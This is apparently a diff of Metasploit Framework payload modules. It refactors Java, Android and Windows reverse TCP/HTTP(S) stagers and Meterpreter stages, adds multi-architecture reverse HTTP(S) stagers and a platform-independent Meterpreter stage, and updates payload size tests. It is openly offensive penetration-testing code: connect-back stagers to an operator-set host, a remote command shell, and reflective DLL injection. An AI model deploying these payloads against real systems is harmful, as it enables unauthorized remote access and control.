require 'msf/core'
|
||||||
require 'msf/core/handler/reverse_https'
|
require 'msf/core/handler/reverse_https'
|
||||||
require 'msf/core/payload/uuid/options'
|
require 'msf/core/payload/uuid/options'
|
||||||
|
require 'msf/core/payload/java/reverse_https'
|
||||||
|
|
||||||
module MetasploitModule
|
module MetasploitModule
|
||||||
|
|
||||||
|
@ -13,61 +14,19 @@ module MetasploitModule
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Stager
|
||||||
include Msf::Payload::Java
|
include Msf::Payload::Java
|
||||||
include Msf::Payload::UUID::Options
|
include Msf::Payload::Java::ReverseHttps
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
'Name' => 'Java Reverse HTTPS Stager',
|
'Name' => 'Java Reverse HTTPS Stager',
|
||||||
'Description' => 'Tunnel communication over HTTPS',
|
'Description' => 'Tunnel communication over HTTPS',
|
||||||
'Author' => [
|
'Author' => ['mihi', 'egypt', 'hdm',],
|
||||||
'mihi', # all the hard work
|
'License' => MSF_LICENSE,
|
||||||
'egypt', # msf integration
|
'Platform' => 'java',
|
||||||
'hdm', # windows/reverse_https
|
'Arch' => ARCH_JAVA,
|
||||||
],
|
'Handler' => Msf::Handler::ReverseHttps,
|
||||||
'License' => MSF_LICENSE,
|
'Convention' => 'javaurl',
|
||||||
'Platform' => 'java',
|
'Stager' => {'Payload' => ''}
|
||||||
'Arch' => ARCH_JAVA,
|
|
||||||
'Handler' => Msf::Handler::ReverseHttps,
|
|
||||||
'Convention' => 'javaurl',
|
|
||||||
'Stager' => {'Payload' => ""}
|
|
||||||
))
|
))
|
||||||
|
|
||||||
register_advanced_options(
|
|
||||||
[
|
|
||||||
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
|
|
||||||
], self.class
|
|
||||||
)
|
|
||||||
|
|
||||||
@class_files = [
|
|
||||||
[ "metasploit", "PayloadTrustManager.class" ],
|
|
||||||
]
|
|
||||||
end
|
|
||||||
|
|
||||||
def config
|
|
||||||
# Default URL length is 30-256 bytes
|
|
||||||
uri_req_len = 30 + rand(256-30)
|
|
||||||
|
|
||||||
# Generate the short default URL if we don't know available space
|
|
||||||
if self.available_space.nil?
|
|
||||||
uri_req_len = 5
|
|
||||||
end
|
|
||||||
|
|
||||||
spawn = datastore["Spawn"] || 2
|
|
||||||
c = ""
|
|
||||||
c << "Spawn=#{spawn}\n"
|
|
||||||
c << "URL=https://#{datastore["LHOST"]}"
|
|
||||||
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
|
||||||
c << "#{luri}"
|
|
||||||
c << generate_uri_uuid_mode(:init_java, uri_req_len)
|
|
||||||
c << "\n"
|
|
||||||
|
|
||||||
c
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
|
||||||
#
|
|
||||||
def wfs_delay
|
|
||||||
20
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -5,8 +5,7 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/handler/reverse_tcp'
|
require 'msf/core/handler/reverse_tcp'
|
||||||
require 'msf/base/sessions/command_shell'
|
require 'msf/core/payload/java/reverse_tcp'
|
||||||
require 'msf/base/sessions/command_shell_options'
|
|
||||||
|
|
||||||
module MetasploitModule
|
module MetasploitModule
|
||||||
|
|
||||||
|
@ -14,54 +13,19 @@ module MetasploitModule
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Stager
|
||||||
include Msf::Payload::Java
|
include Msf::Payload::Java
|
||||||
|
include Msf::Payload::Java::ReverseTcp
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info={})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
'Name' => 'Java Reverse TCP Stager',
|
'Name' => 'Java Reverse TCP Stager',
|
||||||
'Description' => 'Connect back stager',
|
'Description' => 'Connect back stager',
|
||||||
'Author' => [
|
'Author' => ['mihi', 'egypt'],
|
||||||
'mihi', # all the hard work
|
'License' => MSF_LICENSE,
|
||||||
'egypt', # msf integration
|
'Platform' => 'java',
|
||||||
],
|
'Arch' => ARCH_JAVA,
|
||||||
'License' => MSF_LICENSE,
|
'Handler' => Msf::Handler::ReverseTcp,
|
||||||
'Platform' => 'java',
|
'Convention' => 'javasocket',
|
||||||
'Arch' => ARCH_JAVA,
|
'Stager' => {'Payload' => ''}
|
||||||
'Handler' => Msf::Handler::ReverseTcp,
|
))
|
||||||
'Convention' => 'javasocket',
|
|
||||||
'Stager' => {'Payload' => ""}
|
|
||||||
))
|
|
||||||
|
|
||||||
register_advanced_options(
|
|
||||||
[
|
|
||||||
Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]),
|
|
||||||
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
|
|
||||||
], self.class
|
|
||||||
)
|
|
||||||
|
|
||||||
@class_files = [ ]
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def include_send_uuid
|
|
||||||
false
|
|
||||||
end
|
|
||||||
|
|
||||||
def config
|
|
||||||
spawn = datastore["Spawn"] || 2
|
|
||||||
c = ""
|
|
||||||
c << "Spawn=#{spawn}\n"
|
|
||||||
pass = datastore["AESPassword"] || ""
|
|
||||||
if pass != ""
|
|
||||||
c << "AESPassword=#{pass}\n"
|
|
||||||
@class_files = [
|
|
||||||
[ "metasploit", "AESEncryption.class" ],
|
|
||||||
]
|
|
||||||
else
|
|
||||||
@class_files = [ ]
|
|
||||||
end
|
|
||||||
c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
|
|
||||||
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
|
|
||||||
|
|
||||||
c
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,31 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/handler/reverse_http'
|
||||||
|
require 'msf/core/payload/multi/reverse_http'
|
||||||
|
|
||||||
|
module MetasploitModule
|
||||||
|
|
||||||
|
CachedSize = 0
|
||||||
|
|
||||||
|
include Msf::Payload::Stager
|
||||||
|
include Msf::Payload::Multi
|
||||||
|
include Msf::Payload::Multi::ReverseHttp
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Reverse HTTP Stager (Mulitple Architectures)',
|
||||||
|
'Description' => 'Tunnel communication over HTTP',
|
||||||
|
'Author' => 'OJ Reeves',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => ['multi'],
|
||||||
|
'Arch' => ARCH_ALL,
|
||||||
|
'Handler' => Msf::Handler::ReverseHttp,
|
||||||
|
'Stager' => {'Payload' => ''},
|
||||||
|
'Convention' => 'http'))
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,31 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/handler/reverse_https'
|
||||||
|
require 'msf/core/payload/multi/reverse_https'
|
||||||
|
|
||||||
|
module MetasploitModule
|
||||||
|
|
||||||
|
CachedSize = 0
|
||||||
|
|
||||||
|
include Msf::Payload::Stager
|
||||||
|
include Msf::Payload::Multi
|
||||||
|
include Msf::Payload::Multi::ReverseHttps
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Reverse HTTPS Stager (Mulitple Architectures)',
|
||||||
|
'Description' => 'Tunnel communication over HTTPS',
|
||||||
|
'Author' => 'OJ Reeves',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => ['multi'],
|
||||||
|
'Arch' => ARCH_ALL,
|
||||||
|
'Handler' => Msf::Handler::ReverseHttps,
|
||||||
|
'Stager' => {'Payload' => ''},
|
||||||
|
'Convention' => 'https'
|
||||||
|
))
|
||||||
|
end
|
||||||
|
end
|
|
@ -26,5 +26,4 @@ module MetasploitModule
|
||||||
'Handler' => Msf::Handler::ReverseHttp,
|
'Handler' => Msf::Handler::ReverseHttp,
|
||||||
'Convention' => 'sockedi http'))
|
'Convention' => 'sockedi http'))
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -25,8 +25,7 @@ module MetasploitModule
|
||||||
'Arch' => ARCH_X86,
|
'Arch' => ARCH_X86,
|
||||||
'Handler' => Msf::Handler::ReverseTcp,
|
'Handler' => Msf::Handler::ReverseTcp,
|
||||||
'Convention' => 'sockedi',
|
'Convention' => 'sockedi',
|
||||||
'Stager' => { 'RequiresMidstager' => false }
|
'Stager' => {'RequiresMidstager' => false}
|
||||||
))
|
))
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -5,67 +5,30 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/payload/android'
|
require 'msf/core/payload/android'
|
||||||
|
require 'msf/core/payload/android/meterpreter_loader'
|
||||||
require 'msf/base/sessions/meterpreter_android'
|
require 'msf/base/sessions/meterpreter_android'
|
||||||
require 'msf/base/sessions/meterpreter_options'
|
require 'msf/base/sessions/meterpreter_options'
|
||||||
require 'rex/payloads/meterpreter/config'
|
|
||||||
|
|
||||||
module MetasploitModule
|
module MetasploitModule
|
||||||
|
|
||||||
|
include Msf::Payload::Android::MeterpreterLoader
|
||||||
include Msf::Sessions::MeterpreterOptions
|
include Msf::Sessions::MeterpreterOptions
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Android Meterpreter',
|
'Name' => 'Android Meterpreter',
|
||||||
'Description' => 'Run a meterpreter server on Android',
|
'Description' => 'Run a meterpreter server in Android',
|
||||||
'Author' => ['mihi', 'egypt', 'anwarelmakrahy', 'OJ Reeves'],
|
'Author' => ['mihi', 'egypt', 'OJ Reeves'],
|
||||||
'Platform' => 'android',
|
'Platform' => 'android',
|
||||||
'Arch' => ARCH_DALVIK,
|
'Arch' => ARCH_DALVIK,
|
||||||
'License' => MSF_LICENSE,
|
'PayloadCompat' => {'Convention' => 'javasocket javaurl'},
|
||||||
'Session' => Msf::Sessions::Meterpreter_Java_Android
|
'License' => MSF_LICENSE,
|
||||||
|
'Session' => Msf::Sessions::Meterpreter_Java_Android
|
||||||
))
|
))
|
||||||
|
|
||||||
register_options([
|
|
||||||
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
|
|
||||||
], self.class)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Override the Payload::Android version so we can load a prebuilt jar to be
|
|
||||||
# used as the final stage
|
|
||||||
#
|
|
||||||
def generate_stage(opts={})
|
def generate_stage(opts={})
|
||||||
clazz = 'androidpayload.stage.Meterpreter'
|
stage_payload(opts)
|
||||||
metstage = MetasploitPayloads.read("android", "metstage.jar")
|
|
||||||
met = MetasploitPayloads.read("android", "meterpreter.jar")
|
|
||||||
|
|
||||||
# Name of the class to load from the stage, the actual jar to load
|
|
||||||
# it from, and then finally the meterpreter stage
|
|
||||||
blocks = [
|
|
||||||
java_string(clazz),
|
|
||||||
java_string(metstage),
|
|
||||||
java_string(met),
|
|
||||||
java_string(generate_config(opts))
|
|
||||||
]
|
|
||||||
|
|
||||||
(blocks + [blocks.length]).pack('A*' * blocks.length + 'N')
|
|
||||||
end
|
|
||||||
|
|
||||||
def generate_config(opts={})
|
|
||||||
opts[:uuid] ||= generate_payload_uuid
|
|
||||||
|
|
||||||
# create the configuration block, which for staged connections is really simple.
|
|
||||||
config_opts = {
|
|
||||||
ascii_str: true,
|
|
||||||
arch: opts[:uuid].arch,
|
|
||||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
|
||||||
uuid: opts[:uuid],
|
|
||||||
transports: [transport_config(opts)]
|
|
||||||
}
|
|
||||||
|
|
||||||
# create the configuration instance based off the parameters
|
|
||||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
|
||||||
|
|
||||||
# return the XML version of it
|
|
||||||
config.to_b
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -5,90 +5,30 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/payload/java'
|
require 'msf/core/payload/java'
|
||||||
require 'msf/core/handler/reverse_tcp'
|
require 'msf/core/payload/java/meterpreter_loader'
|
||||||
require 'msf/base/sessions/meterpreter_java'
|
require 'msf/base/sessions/meterpreter_java'
|
||||||
require 'msf/base/sessions/meterpreter_options'
|
require 'msf/base/sessions/meterpreter_options'
|
||||||
|
|
||||||
|
|
||||||
module MetasploitModule
|
module MetasploitModule
|
||||||
|
|
||||||
|
include Msf::Payload::Java::MeterpreterLoader
|
||||||
include Msf::Sessions::MeterpreterOptions
|
include Msf::Sessions::MeterpreterOptions
|
||||||
|
|
||||||
# The stager should have already included this
|
|
||||||
#include Msf::Payload::Java
|
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Java Meterpreter',
|
'Name' => 'Java Meterpreter',
|
||||||
'Description' => 'Run a meterpreter server in Java',
|
'Description' => 'Run a meterpreter server in Java',
|
||||||
'Author' => ['mihi', 'egypt', 'OJ Reeves'],
|
'Author' => ['mihi', 'egypt', 'OJ Reeves'],
|
||||||
'Platform' => 'java',
|
'Platform' => 'java',
|
||||||
'Arch' => ARCH_JAVA,
|
'Arch' => ARCH_JAVA,
|
||||||
'PayloadCompat' => {
|
'PayloadCompat' => {'Convention' => 'javasocket javaurl'},
|
||||||
'Convention' => 'javasocket javaurl',
|
'License' => MSF_LICENSE,
|
||||||
},
|
'Session' => Msf::Sessions::Meterpreter_Java_Java
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Session' => Msf::Sessions::Meterpreter_Java_Java
|
|
||||||
))
|
))
|
||||||
|
|
||||||
# Order matters. Classes can only reference classes that have already
|
|
||||||
# been sent. The last .class must implement Stage, i.e. have a start()
|
|
||||||
# method.
|
|
||||||
#
|
|
||||||
# The Meterpreter.class stage is just a jar loader, not really anything
|
|
||||||
# to do with meterpreter specifically. This payload should eventually
|
|
||||||
# be replaced with an actual meterpreter stage so we don't have to send
|
|
||||||
# a second jar.
|
|
||||||
@stage_class_files = [
|
|
||||||
[ "javapayload", "stage", "Stage.class" ],
|
|
||||||
[ "com", "metasploit", "meterpreter", "MemoryBufferURLConnection.class" ],
|
|
||||||
[ "com", "metasploit", "meterpreter", "MemoryBufferURLStreamHandler.class" ],
|
|
||||||
# Must be last!
|
|
||||||
[ "javapayload", "stage", "Meterpreter.class" ],
|
|
||||||
]
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Override the Payload::Java version so we can load a prebuilt jar to be
|
|
||||||
# used as the final stage; calls super to get the intermediate stager.
|
|
||||||
#
|
|
||||||
def generate_stage(opts={})
|
def generate_stage(opts={})
|
||||||
met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar')
|
stage_payload(opts)
|
||||||
config = generate_config(opts)
|
|
||||||
|
|
||||||
# All of the dependencies to create a jar loader, followed by the length
|
|
||||||
# of the jar and the jar itself, then the config
|
|
||||||
blocks = [
|
|
||||||
super(opts),
|
|
||||||
[met.length, met].pack('NA*'),
|
|
||||||
[config.length, config].pack('NA*')
|
|
||||||
]
|
|
||||||
|
|
||||||
# Deliberate off by 1 here. The call to super adds a null terminator
|
|
||||||
# so we would add 1 for the null terminate and remove one for the call
|
|
||||||
# to super.
|
|
||||||
block_count = blocks.length + @stage_class_files.length
|
|
||||||
|
|
||||||
# Pack all the magic together
|
|
||||||
(blocks + [block_count]).pack('A*' * blocks.length + 'N')
|
|
||||||
end
|
|
||||||
|
|
||||||
def generate_config(opts={})
|
|
||||||
opts[:uuid] ||= generate_payload_uuid
|
|
||||||
|
|
||||||
# create the configuration block, which for staged connections is really simple.
|
|
||||||
config_opts = {
|
|
||||||
ascii_str: true,
|
|
||||||
arch: opts[:uuid].arch,
|
|
||||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
|
||||||
uuid: opts[:uuid],
|
|
||||||
transports: [transport_config(opts)]
|
|
||||||
}
|
|
||||||
|
|
||||||
# create the configuration instance based off the parameters
|
|
||||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
|
||||||
|
|
||||||
# return the XML version of it
|
|
||||||
config.to_b
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -12,35 +12,28 @@ require 'msf/base/sessions/command_shell_options'
|
||||||
|
|
||||||
module MetasploitModule
|
module MetasploitModule
|
||||||
|
|
||||||
# The stager should have already included this
|
|
||||||
#include Msf::Payload::Java
|
|
||||||
include Msf::Sessions::CommandShellOptions
|
include Msf::Sessions::CommandShellOptions
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Command Shell',
|
'Name' => 'Command Shell',
|
||||||
'Description' => 'Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else)',
|
'Description' => 'Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else)',
|
||||||
'Author' => [
|
'Author' => ['mihi', 'egypt'],
|
||||||
'mihi', # all the hard work
|
|
||||||
'egypt' # msf integration
|
|
||||||
],
|
|
||||||
'Platform' => 'java',
|
'Platform' => 'java',
|
||||||
'Arch' => ARCH_JAVA,
|
'Arch' => ARCH_JAVA,
|
||||||
'PayloadCompat' =>
|
'PayloadCompat' => {'Convention' => 'javasocket'},
|
||||||
{
|
|
||||||
'Convention' => 'javasocket',
|
|
||||||
},
|
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Session' => Msf::Sessions::CommandShell))
|
'Session' => Msf::Sessions::CommandShell))
|
||||||
|
end
|
||||||
|
|
||||||
|
def stage_class_files
|
||||||
# Order matters. Classes can only reference classes that have already
|
# Order matters. Classes can only reference classes that have already
|
||||||
# been sent. The last .class must implement Stage, i.e. have a start()
|
# been sent. The last .class must implement Stage, i.e. have a start()
|
||||||
# method.
|
# method.
|
||||||
@stage_class_files = [
|
[
|
||||||
[ "javapayload", "stage", "Stage.class" ],
|
[ "javapayload", "stage", "Stage.class" ],
|
||||||
[ "javapayload", "stage", "StreamForwarder.class" ],
|
[ "javapayload", "stage", "StreamForwarder.class" ],
|
||||||
[ "javapayload", "stage", "Shell.class" ],
|
[ "javapayload", "stage", "Shell.class" ],
|
||||||
]
|
]
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -154,16 +154,17 @@ module MetasploitModule
|
||||||
|
|
||||||
def generate_config(opts={})
|
def generate_config(opts={})
|
||||||
opts[:uuid] ||= generate_payload_uuid
|
opts[:uuid] ||= generate_payload_uuid
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
|
|
||||||
# create the configuration block, which for staged connections is really simple.
|
# create the configuration block, which for staged connections is really simple.
|
||||||
config_opts = {
|
config_opts = {
|
||||||
:arch => opts[:uuid].arch,
|
arch: opts[:uuid].arch,
|
||||||
:exitfunk => nil,
|
exitfunk: nil,
|
||||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
expiration: ds['SessionExpirationTimeout'].to_i,
|
||||||
:uuid => opts[:uuid],
|
uuid: opts[:uuid],
|
||||||
:transports => [transport_config(opts)],
|
transports: opts[:transport_config] || [transport_config(opts)],
|
||||||
:extensions => [],
|
extensions: [],
|
||||||
:ascii_str => true
|
ascii_str: true
|
||||||
}
|
}
|
||||||
|
|
||||||
# create the configuration instance based off the parameters
|
# create the configuration instance based off the parameters
|
||||||
|
|
|
@ -0,0 +1,78 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/base/sessions/meterpreter_multi'
|
||||||
|
require 'msf/base/sessions/meterpreter_options'
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Injects the meterpreter server DLL via the Reflective Dll Injection payload
|
||||||
|
# along with transport related configuration.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
module MetasploitModule
|
||||||
|
|
||||||
|
include Msf::Sessions::MeterpreterOptions
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Architecture-Independent Meterpreter Stage',
|
||||||
|
'Description' => 'Handle Meterpreter sessions regardless of the target arch/platform',
|
||||||
|
'Author' => ['OJ Reeves'],
|
||||||
|
'PayloadCompat' => {'Convention' => 'http https'},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => ['multi'],
|
||||||
|
'Arch' => ARCH_ALL,
|
||||||
|
'Session' => Msf::Sessions::Meterpreter_Multi
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
def stage_payload(opts={})
|
||||||
|
return '' unless opts[:uuid]
|
||||||
|
|
||||||
|
## TODO: load the datastore "stuff" from the JSON file
|
||||||
|
## and wire it into opts[:datastore].
|
||||||
|
## and if we find an instance, hydrate based on that.
|
||||||
|
## otherwise use some "sane defaults" as shown below.
|
||||||
|
|
||||||
|
c = Class.new(::Msf::Payload)
|
||||||
|
c.include(::Msf::Payload::Stager)
|
||||||
|
|
||||||
|
case opts[:uuid].platform
|
||||||
|
when 'python'
|
||||||
|
require 'msf/core/payload/python/meterpreter_loader'
|
||||||
|
c.include(::Msf::Payload::Python::MeterpreterLoader)
|
||||||
|
when 'java'
|
||||||
|
require 'msf/core/payload/java/meterpreter_loader'
|
||||||
|
c.include(::Msf::Payload::Java::MeterpreterLoader)
|
||||||
|
when 'android'
|
||||||
|
require 'msf/core/payload/android/meterpreter_loader'
|
||||||
|
c.include(::Msf::Payload::Android::MeterpreterLoader)
|
||||||
|
when 'php'
|
||||||
|
require 'msf/core/payload/php/meterpreter_loader'
|
||||||
|
c.include(::Msf::Payload::Php::MeterpreterLoader)
|
||||||
|
when 'windows'
|
||||||
|
require 'msf/core/payload/windows/meterpreter_loader'
|
||||||
|
if opts[:uuid].arch == ARCH_X86
|
||||||
|
c.include(::Msf::Payload::Windows::MeterpreterLoader)
|
||||||
|
else
|
||||||
|
c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
|
||||||
|
end
|
||||||
|
else
|
||||||
|
return ''
|
||||||
|
end
|
||||||
|
|
||||||
|
second_stage = c.new()
|
||||||
|
|
||||||
|
# wire in the appropriate values for transport and datastore configs
|
||||||
|
opts[:transport_config] = [transport_config(opts)]
|
||||||
|
opts[:datastore] = datastore
|
||||||
|
|
||||||
|
second_stage.stage_payload(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -27,7 +27,7 @@ module MetasploitModule
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_stage(opts={})
|
def generate_stage(opts={})
|
||||||
stage_meterpreter(opts)
|
stage_payload(opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -8,7 +8,6 @@ require 'msf/core'
|
||||||
require 'msf/core/payload/windows/meterpreter_loader'
|
require 'msf/core/payload/windows/meterpreter_loader'
|
||||||
require 'msf/base/sessions/meterpreter_x86_win'
|
require 'msf/base/sessions/meterpreter_x86_win'
|
||||||
require 'msf/base/sessions/meterpreter_options'
|
require 'msf/base/sessions/meterpreter_options'
|
||||||
require 'rex/payloads/meterpreter/config'
|
|
||||||
|
|
||||||
###
|
###
|
||||||
#
|
#
|
||||||
|
@ -27,33 +26,9 @@ module MetasploitModule
|
||||||
'Name' => 'Windows Meterpreter (Reflective Injection)',
|
'Name' => 'Windows Meterpreter (Reflective Injection)',
|
||||||
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)',
|
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)',
|
||||||
'Author' => ['skape','sf'],
|
'Author' => ['skape','sf'],
|
||||||
'PayloadCompat' => { 'Convention' => 'sockedi', },
|
'PayloadCompat' => { 'Convention' => 'sockedi'},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Session' => Msf::Sessions::Meterpreter_x86_Win))
|
'Session' => Msf::Sessions::Meterpreter_x86_Win
|
||||||
|
))
|
||||||
end
|
end
|
||||||
|
|
||||||
def stage_payload(opts={})
|
|
||||||
stage_meterpreter + generate_config(opts)
|
|
||||||
end
|
|
||||||
|
|
||||||
def generate_config(opts={})
|
|
||||||
opts[:uuid] ||= generate_payload_uuid
|
|
||||||
|
|
||||||
# create the configuration block, which for staged connections is really simple.
|
|
||||||
config_opts = {
|
|
||||||
arch: opts[:uuid].arch,
|
|
||||||
exitfunk: datastore['EXITFUNC'],
|
|
||||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
|
||||||
uuid: opts[:uuid],
|
|
||||||
transports: [transport_config(opts)],
|
|
||||||
extensions: []
|
|
||||||
}
|
|
||||||
|
|
||||||
# create the configuration instance based off the parameters
|
|
||||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
|
||||||
|
|
||||||
# return the binary version of it
|
|
||||||
config.to_b
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -8,7 +8,6 @@ require 'msf/core'
|
||||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||||
require 'msf/base/sessions/meterpreter_x64_win'
|
require 'msf/base/sessions/meterpreter_x64_win'
|
||||||
require 'msf/base/sessions/meterpreter_options'
|
require 'msf/base/sessions/meterpreter_options'
|
||||||
require 'rex/payloads/meterpreter/config'
|
|
||||||
|
|
||||||
###
|
###
|
||||||
#
|
#
|
||||||
|
@ -31,29 +30,4 @@ module MetasploitModule
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Session' => Msf::Sessions::Meterpreter_x64_Win))
|
'Session' => Msf::Sessions::Meterpreter_x64_Win))
|
||||||
end
|
end
|
||||||
|
|
||||||
def stage_payload(opts={})
|
|
||||||
stage_meterpreter + generate_config(opts)
|
|
||||||
end
|
|
||||||
|
|
||||||
def generate_config(opts={})
|
|
||||||
opts[:uuid] ||= generate_payload_uuid
|
|
||||||
|
|
||||||
# create the configuration block, which for staged connections is really simple.
|
|
||||||
config_opts = {
|
|
||||||
arch: opts[:uuid].arch,
|
|
||||||
exitfunk: datastore['EXITFUNC'],
|
|
||||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
|
||||||
uuid: opts[:uuid],
|
|
||||||
transports: [transport_config(opts)],
|
|
||||||
extensions: []
|
|
||||||
}
|
|
||||||
|
|
||||||
# create the configuration instance based off the parameters
|
|
||||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
|
||||||
|
|
||||||
# return the binary version of it
|
|
||||||
config.to_b
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -1697,6 +1697,28 @@ RSpec.describe 'modules/payloads', :content do
|
||||||
reference_name: 'mainframe/shell_reverse_tcp'
|
reference_name: 'mainframe/shell_reverse_tcp'
|
||||||
end
|
end
|
||||||
|
|
||||||
|
context 'multi/meterpreter/reverse_http' do
|
||||||
|
it_should_behave_like 'payload cached size is consistent',
|
||||||
|
ancestor_reference_names: [
|
||||||
|
'stagers/multi/reverse_http',
|
||||||
|
'stages/multi/meterpreter'
|
||||||
|
],
|
||||||
|
dynamic_size: false,
|
||||||
|
modules_pathname: modules_pathname,
|
||||||
|
reference_name: 'multi/meterpreter/reverse_http'
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'multi/meterpreter/reverse_https' do
|
||||||
|
it_should_behave_like 'payload cached size is consistent',
|
||||||
|
ancestor_reference_names: [
|
||||||
|
'stagers/multi/reverse_https',
|
||||||
|
'stages/multi/meterpreter'
|
||||||
|
],
|
||||||
|
dynamic_size: false,
|
||||||
|
modules_pathname: modules_pathname,
|
||||||
|
reference_name: 'multi/meterpreter/reverse_https'
|
||||||
|
end
|
||||||
|
|
||||||
context 'netware/shell/reverse_tcp' do
|
context 'netware/shell/reverse_tcp' do
|
||||||
it_should_behave_like 'payload cached size is consistent',
|
it_should_behave_like 'payload cached size is consistent',
|
||||||
ancestor_reference_names: [
|
ancestor_reference_names: [
|
||||||
|
|
|
@ -101,7 +101,8 @@ RSpec.shared_examples_for 'payload cached size is consistent' do |options|
|
||||||
'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll',
|
'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll',
|
||||||
'RC4PASSWORD' => 'Metasploit',
|
'RC4PASSWORD' => 'Metasploit',
|
||||||
'DNSZONE' => 'corelan.eu',
|
'DNSZONE' => 'corelan.eu',
|
||||||
'PEXEC' => '/bin/sh'
|
'PEXEC' => '/bin/sh',
|
||||||
|
'StagerURILength' => 5
|
||||||
},
|
},
|
||||||
'Encoder' => nil,
|
'Encoder' => nil,
|
||||||
'DisableNops' => true
|
